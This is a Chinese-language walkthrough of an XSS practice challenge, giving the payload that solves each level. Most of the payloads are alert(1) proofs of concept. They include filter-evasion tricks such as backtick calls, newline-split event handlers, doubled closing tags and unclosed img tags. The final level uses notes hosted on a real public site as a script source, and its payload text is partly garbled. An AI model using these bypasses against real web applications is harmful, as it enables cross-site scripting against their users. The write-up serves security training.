XSS Challenges:地址
0x00
<script>alert(1)</script>
0x01
</textarea><script>alert(1)</script>
0x02
"><script>alert(1)</script><img src="
0x03
括号被过滤,用反引号绕过
<script>alert`1`</script>
0x04
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
括号和反引号都被过滤,所以要想办法,可以用html编码绕过
<img src="x" onerror="alert(1)">
0x05
--!><script>alert(1)</script>
0x06
要绕过一个正则将js代码插入到html标签中
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
中间用一个换行符分隔即可:
type=image src onerror
=alert(1)
0x07
把所有尖括号对包裹的东西过滤了,匹配了尖括号<>开头结尾的字符串替换为空.可以通过少输入一个>来绕过正则,但仍然可以执行
<img src onerror=alert(1)
0x08
\</style>标签被替换成了注释...... 直接双写绕过:
</style</style>><script>alert(1)</script><style>
0x09
要求url开头必须是https://www.segmentfault.com/这个网址,然而后面可以随便加:
https://www.segmentfault.com"></script><script>alert(1)</script>
0x0A
在上一题的基础上,对输入进行了一些转义,目前没有想到绕过的方法,但是可以尝试直接在 https://www.segmentfault.com 上构造js文件(不一定是.js文件,只要内容被\<script>\</script>包裹后能产生js代码执行效果即可),这个过程十分有趣。
我们先去这个网站注册一个账号,然后寻找可以插入内容的地方。这个网站有一个记笔记的功能,以纯文本的方式写入一个内容为alert(1);的笔记,这个笔记目录下有一个叫作raw的文件,点进去看看,发现内容就是我们笔记的内容:
alert(1);
由此尝试构造payload:
https://segmentfault.com/n/1330000023393788/raw
payload被转义成了:
https://www.segmentfault.com/n�/raw
但此时有一个问题,#x2f1330000020470115被解析为url时会全部被解析(我们只希望2f被解析为/),好在url被解析是会无视换行符,所以我们可以用换行符来分割payload以解决这个问题:
https://www.segmentfault.com/n/
1330000023393788/raw